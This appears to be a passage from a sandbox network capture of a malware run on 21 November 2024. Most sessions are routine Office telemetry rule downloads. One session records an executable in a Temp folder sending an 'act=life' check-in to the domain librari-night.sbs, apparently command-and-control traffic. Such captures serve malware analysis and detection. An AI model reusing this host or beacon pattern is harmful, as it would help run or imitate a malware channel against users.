2024-11-21 06:10:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061048Z-178bfbc474bmqmgjhC1NYCy16c000000017g000000001zm6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061048Z-1777c6cb754mqztshC1TEB4mkc0000000as00000000087g0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:48 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:48 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:48 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 44a56bea-901e-0064-626a-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061048Z-178bfbc474btrnf9hC1NYCb80g000000014000000000nvaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:48 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:49 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:49 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:49 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061049Z-1777c6cb754dqf99hC1TEB5nps0000000ahg000000009hw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:49 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49895	172.67.206.172	443	7400	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:49 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: librari-night.sbs
2024-11-21 06:10:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:50 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:50 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061050Z-178bfbc474bv7whqhC1NYC1fg4000000011g00000000bxx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:50 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:50 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: de6f427f-801e-00ac-4ba5-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061050Z-r1d97b99577d6qrbhC1TEBux5s0000000a2g0000000094y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:50 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:50 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061050Z-178bfbc474bv7whqhC1NYC1fg400000000z000000000q2yw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:50 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cd6c36a4-201e-000c-237c-3b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061051Z-178bfbc474bbcwv4hC1NYCypys00000000yg000000007c5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:51 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:52 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061051Z-r1d97b99577d6qrbhC1TEBux5s00000009zg00000000mymv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:52 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1aa9c07b-201e-0096-3276-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061052Z-1777c6cb754j47wfhC1TEB5wrw00000006n0000000001mn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:53 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:53 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 84d260c2-101e-0017-627f-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061053Z-1777c6cb7544n7p6hC1TEByvb40000000ax0000000002k5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:53 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:53 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061053Z-178bfbc474bv7whqhC1NYC1fg4000000010g00000000f1qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
